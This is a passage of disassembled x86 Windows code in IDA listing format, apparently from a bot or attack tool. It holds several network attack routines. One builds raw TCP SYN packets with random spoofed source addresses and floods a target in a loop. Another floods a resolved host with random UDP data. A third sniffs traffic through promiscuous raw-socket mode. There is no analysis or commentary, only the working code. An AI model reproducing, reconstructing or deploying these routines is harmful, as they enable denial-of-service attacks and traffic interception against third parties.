ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov ds:dword_E1A385[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_13D1100 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D12D0 proc near ; CODE XREF: sub_13AC1D9j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B828h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC37D push offset dword_444EDC lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E10C call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D12D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1340 proc near ; CODE XREF: sub_13ABADBj sub_13ABC1Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB4FF test [esp+4+arg_0], 1 jz short loc_13D1358 push esi call near ptr 13E0C02h add esp, 4 loc_13D1358: ; CODE XREF: sub_13D1340+Dj mov eax, esi pop esi retn 4 sub_13D1340 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D1370 proc near ; CODE XREF: sub_13AB4FFj jmp sub_13AB8C4 sub_13D1370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1390 proc near ; CODE XREF: sub_13AC292j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B848h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax push offset dword_444EFC mov ecx, ebp call sub_13AB8D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 28h lea ecx, [esp+34h+var_24] call sub_13AB824 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_13AB8D3 push eax call sub_13AC1B6 cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax lea eax, [esp+44h+var_24] push offset dword_444EE0 push eax call sub_13AB42D add esp, 18h lea ecx, [esp+34h+var_24] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB8D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 14h mov [esp+34h+var_4], 0FFFFFFFFh lea ecx, [esp+34h+var_24] call sub_13AB626 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_13D1390 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1500 proc near ; CODE XREF: sub_13ABFB3j var_95 = byte ptr -95h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_72 = word ptr -72h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = word ptr -66h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_28 = byte ptr -28h var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_13AC5A3 push 0FFh push esi mov byte ptr [esp+0B8h+var_94], al call sub_13AC5A3 push 0FFh push esi mov byte ptr [esp+0C0h+var_94+1], al call sub_13AC5A3 push 0FFh push esi mov byte ptr [esp+0C8h+var_94+2], al call sub_13AC5A3 add esp, 20h cmp word ptr [esp+0A8h+arg_8], si mov byte ptr [esp+0A8h+var_94+3], al jnz short loc_13D1591 push 2710h push 3E8h mov [esp+0B0h+var_95], 1 call sub_13AC5A3 add esp, 8 mov [esp+0A8h+arg_8], eax loc_13D1591: ; CODE XREF: sub_13D1500+71j push 1 push esi push esi push 0FFh push 3 push 2 mov [esp+0C0h+var_5C], 1 call WSASocketA ; WSASocketA mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+0A8h+var_90], edi jnz short loc_13D15C4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_13D15C4: ; CODE XREF: sub_13D1500+B5j lea eax, [esp+0A8h+var_5C] push 4 push eax push 2 push esi push edi call setsockopt ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_13D15E7 loc_13D15DA: ; CODE XREF: sub_13D1500+28Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_13D15E7: ; CODE XREF: sub_13D1500+D8j mov ecx, [esp+0A8h+arg_8] mov ebp, htons push ecx mov [esp+0ACh+var_4C], 2 call ebp ; htons mov ebx, [esp+0A8h+arg_0] push 28h mov [esp+0ACh+var_4A], ax mov [esp+0ACh+var_48], ebx mov byte ptr [esp+0ACh+var_88], 45h call ebp ; htons push 4000h mov word ptr [esp+0ACh+var_88+2], ax mov word ptr [esp+0ACh+var_84], 1 mov word ptr [esp+0ACh+var_84+2], si mov byte ptr [esp+0ACh+var_80], 80h mov byte ptr [esp+0ACh+var_80+1], 6 mov word ptr [esp+0ACh+var_80+2], si mov [esp+0ACh+var_78], ebx mov [esp+0ACh+var_68], 50h mov [esp+0ACh+var_67], 2 call ebp ; htons mov [esp+0A8h+var_66], ax mov [esp+0A8h+var_62], si mov [esp+0A8h+var_6C], esi call GetTickCount ; GetTickCount mov [esp+0A8h+var_60], eax mov al, ds:byte_E1A109 test al, al jz loc_13D183B mov ebx, rand mov byte ptr [esp+0A8h+var_50], 0 mov byte ptr [esp+0A8h+var_50+1], 6 jmp short loc_13D1685 ; --------------------------------------------------------------------------- loc_13D1683: ; CODE XREF: sub_13D1500+331j xor esi, esi loc_13D1685: ; CODE XREF: sub_13D1500+181j mov edi, [esp+0A8h+var_8C] mov edx, [esp+0A8h+arg_8] inc edi push edx mov [esp+0ACh+var_8C], edi mov [esp+0ACh+var_64], si call ebp ; htons push 14h mov [esp+0ACh+var_72], ax call ebp ; htons mov word ptr [esp+0A8h+var_50+2], ax mov eax, [esp+0A8h+var_94] push eax call htonl ; htonl mov esi, eax mov dword ptr [esp+0A8h+var_7C], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; htons mov word ptr [esp+0A8h+var_74], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; htons mov edx, [esp+0A8h+arg_0] and eax, 0FFFFh mov [esp+0A8h+var_70], eax mov eax, [esp+0A8h+var_50] mov dword ptr [esp+0A8h+var_3C], esi mov ecx, 5 lea esi, [esp+0A8h+var_74] lea edi, [esp+0A8h+var_30] mov [esp+0A8h+var_38], edx mov [esp+0A8h+var_34], eax rep movsd lea ecx, [esp+0A8h+var_3C] push 20h push ecx call sub_13ABE28 mov ecx, 5 lea esi, [esp+0B0h+var_88] lea edi, [esp+0B0h+var_3C] lea edx, [esp+0B0h+var_3C] rep movsd mov ecx, 5 lea esi, [esp+0B0h+var_74] lea edi, [esp+0B0h+var_28] mov [esp+0B0h+var_64], ax push 28h push edx rep movsd mov [esp+0B8h+var_14], 0 call sub_13ABE28 mov edx, [esp+0B8h+var_90] add esp, 10h mov word ptr [esp+0A8h+var_80+2], ax mov ecx, 5 lea esi, [esp+0A8h+var_88] lea edi, [esp+0A8h+var_3C] lea eax, [esp+0A8h+var_4C] push 10h rep movsd push eax push 0 lea ecx, [esp+0B4h+var_3C] push 28h push ecx push edx call sendto ; sendto cmp eax, 0FFFFFFFFh jz loc_13D15DA call GetTickCount ; GetTickCount mov edx, [esp+0A8h+var_60] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0A8h+arg_C] shr edx, 6 cmp edx, eax ja short loc_13D1837 mov al, [esp+0A8h+var_95] test al, al jz short loc_13D17D9 push 2710h push 3E8h call sub_13AC5A3 add esp, 8 mov [esp+0A8h+arg_8], eax loc_13D17D9: ; CODE XREF: sub_13D1500+2BEj push 0FFh push 0 call sub_13AC5A3 push 0FFh push 0 mov byte ptr [esp+0B8h+var_94], al call sub_13AC5A3 push 0FFh push 0 mov byte ptr [esp+0C0h+var_94+1], al call sub_13AC5A3 push 0FFh push 0 mov byte ptr [esp+0C8h+var_94+2], al call sub_13AC5A3 mov edx, [esp+0C8h+arg_10] add esp, 20h mov byte ptr [esp+0A8h+var_94+3], al push edx call Sleep ; Sleep mov al, ds:byte_E1A109 test al, al jnz loc_13D1683 loc_13D1837: ; CODE XREF: sub_13D1500+2B6j mov edi, [esp+0A8h+var_90] loc_13D183B: ; CODE XREF: sub_13D1500+16Bj push edi call closesocket ; closesocket mov eax, [esp+0A8h+var_8C] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn sub_13D1500 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1940 proc near ; CODE XREF: sub_13AC1B6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push esi push eax call sub_13ABC7F mov esi, eax call rand ; rand and eax, 800001FFh jns short loc_13D1961 dec eax or eax, 0FFFFFE00h inc eax loc_13D1961: ; CODE XREF: sub_13D1940+18j mov ecx, [esp+8+arg_C] mov edx, [esp+8+arg_8] push ecx mov ecx, [esp+0Ch+arg_4] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_13ABFB3 add esp, 18h pop esi retn sub_13D1940 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D19B0 proc near ; CODE XREF: sub_13ABB85j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B868h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC37D push offset dword_444F18 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E11C call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D19B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1A20 proc near ; CODE XREF: sub_13AB8ECj sub_13AC62Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB559 test [esp+4+arg_0], 1 jz short loc_13D1A38 push esi call near ptr 13E0C02h add esp, 4 loc_13D1A38: ; CODE XREF: sub_13D1A20+Dj mov eax, esi pop esi retn 4 sub_13D1A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D1A50 proc near ; CODE XREF: sub_13AB559j jmp sub_13AB8C4 sub_13D1A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1A70 proc near ; CODE XREF: sub_13ABE05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B888h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax push offset dword_444F30 mov ecx, ebp call sub_13AB8D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_13AB824 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_13AB8D3 push eax call sub_13ABB30 add esp, 14h test eax, eax jz short loc_13D1B3E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax lea eax, [esp+44h+var_24] push offset dword_444F1C push eax call sub_13AB42D add esp, 18h loc_13D1B3E: ; CODE XREF: sub_13D1A70+A2j lea ecx, [esp+34h+var_24] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB8D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_13D1A70 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1BE0 proc near ; CODE XREF: sub_13ABB30j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call near ptr 13E0C60h push esi push 11h push 2 push 2 call socket ; socket mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax call inet_addr ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_13D1C41 push esi call gethostbyname ; gethostbyname test eax, eax jnz short loc_13D1C3A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_13D1C3A: ; CODE XREF: sub_13D1BE0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_13D1C41: ; CODE XREF: sub_13D1BE0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, rand push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_13D1C7D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call htons ; htons mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_13D1CAE ; --------------------------------------------------------------------------- loc_13D1C7D: ; CODE XREF: sub_13D1BE0+77j push esi call htons ; htons cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_13D1C9B mov [esp+28h+arg_FFE8], 1 jmp short loc_13D1CAE ; --------------------------------------------------------------------------- loc_13D1C9B: ; CODE XREF: sub_13D1BE0+ACj cmp esi, 0FFFFh jle short loc_13D1CAE mov [esp+28h+arg_FFE8], 0FFFFh loc_13D1CAE: ; CODE XREF: sub_13D1BE0+9Bj ; sub_13D1BE0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_13D1CC4 mov [esp+28h+arg_FFE4], 1 loc_13D1CC4: ; CODE XREF: sub_13D1BE0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_13D1CFE loc_13D1CEB: ; CODE XREF: sub_13D1BE0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_13D1CEB loc_13D1CFE: ; CODE XREF: sub_13D1BE0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_13D1D90 mov ebp, sendto loc_13D1D16: ; CODE XREF: sub_13D1BE0+1AEj mov al, ds:byte_E1A109 test al, al jz short loc_13D1D90 mov esi, 0Bh loc_13D1D24: ; CODE XREF: sub_13D1BE0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax call Sleep ; Sleep dec esi jnz short loc_13D1D24 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_13D1D7B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call htons ; htons mov [esp+48h+var_36], ax loc_13D1D7B: ; CODE XREF: sub_13D1BE0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_13D1D16 loc_13D1D90: ; CODE XREF: sub_13D1BE0+12Aj ; sub_13D1BE0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_13D1BE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1E10 proc near ; CODE XREF: sub_13AC47Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_13ABE28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call WSASocketA ; WSASocketA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13D1E6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_13D1E6D: ; CODE XREF: sub_13D1E10+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi call setsockopt ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_13D1E8D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_13D1E8D: ; CODE XREF: sub_13D1E10+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi call sendto ; sendto push esi mov edi, eax call closesocket ; closesocket mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_13D1E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1EF0 proc near ; CODE XREF: sub_13AC19Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call near ptr 13E0C60h push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_13ABC7F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_13ABC7F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F80 mov eax, edi loc_13D1F57: ; CODE XREF: sub_13D1EF0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13D1F7B test cl, cl jz short loc_13D1F77 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13D1F7B add eax, 2 add esi, 2 test cl, cl jnz short loc_13D1F57 loc_13D1F77: ; CODE XREF: sub_13D1EF0+71j xor eax, eax jmp short loc_13D1F80 ; --------------------------------------------------------------------------- loc_13D1F7B: ; CODE XREF: sub_13D1EF0+6Dj ; sub_13D1EF0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D1F80: ; CODE XREF: sub_13D1EF0+89j cmp eax, ebx jnz short loc_13D1FD3 mov ebp, ds:dword_E19D17 cmp ebp, ebx mov [esp+10h], ebp jz short loc_13D1F97 cmp ebp, 0FFFFFFFFh jnz short loc_13D1FDE loc_13D1F97: ; CODE XREF: sub_13D1EF0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call gethostname ; gethostname lea ecx, [esp+18h+arg_1C] push ecx call gethostbyname ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_13D1FDE ; --------------------------------------------------------------------------- loc_13D1FD3: ; CODE XREF: sub_13D1EF0+92j push edi call sub_13ABC7F add esp, 4 mov ebp, eax loc_13D1FDE: ; CODE XREF: sub_13D1EF0+A5j ; sub_13D1EF0+E1j cmp ebp, ebx jz short loc_13D1FE7 cmp ebp, 0FFFFFFFFh jnz short loc_13D1FED loc_13D1FE7: ; CODE XREF: sub_13D1EF0+F0j mov ebp, ds:dword_E19D17 loc_13D1FED: ; CODE XREF: sub_13D1EF0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call WSASocketA ; WSASocketA mov esi, eax cmp esi, 0FFFFFFFFh jz loc_13D212D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi call setsockopt ; setsockopt cmp eax, 0FFFFFFFFh jz loc_13D212D lea edx, [esp+3Ch+var_18] push 10h push edx push esi call bind ; bind cmp eax, 0FFFFFFFFh jz loc_13D212D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi call WSAIoctl ; WSAIoctl cmp eax, 0FFFFFFFFh jz loc_13D212D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_13D2113 mov ebx, recv loc_13D2083: ; CODE XREF: sub_13D1EF0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_13D2103 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_13D20DE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_13D20FB ; --------------------------------------------------------------------------- loc_13D20DE: ; CODE XREF: sub_13D1EF0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_13D2103 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_13D20FB: ; CODE XREF: sub_13D1EF0+1ECj call sub_13AC47C add esp, 8 loc_13D2103: ; CODE XREF: sub_13D1EF0+1C0j ; sub_13D1EF0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_13D2083 loc_13D2113: ; CODE XREF: sub_13D1EF0+187j mov edx, _iob add edx, 20h push edx call fflush ; fflush add esp, 4 push esi call closesocket ; closesocket loc_13D212D: ; CODE XREF: sub_13D1EF0+11Dj ; sub_13D1EF0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_13D1EF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D21E0 proc near ; CODE XREF: sub_13ABC89j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B8A8h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_444F50 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E12C call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D21E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2250 proc near ; CODE XREF: sub_13AC382j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B8FFh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC26A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_13AB824 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB824 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_13AB824 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_13AB824 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D2250 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2310 proc near ; CODE XREF: sub_13ABB9Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B95Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset dword_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_13AB626 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_13AB626 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB626 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AC431 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13D2310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D23E0 proc near ; CODE XREF: sub_13ABE14j sub_13AC468j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABB9E test [esp+4+arg_0], 1 jz short loc_13D23F8 push esi call near ptr 13E0C02h add esp, 4 loc_13D23F8: ; CODE XREF: sub_13D23E0+Dj mov eax, esi pop esi retn 4 sub_13D23E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2410 proc near ; CODE XREF: sub_13AB496j sub_13AC02Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB9F5 test [esp+4+arg_0], 1 jz short loc_13D2428 push esi call near ptr 13E0C02h add esp, 4 loc_13D2428: ; CODE XREF: sub_13D2410+Dj mov eax, esi pop esi retn 4 sub_13D2410 endp ; --------------------------------------------------------------------------- db 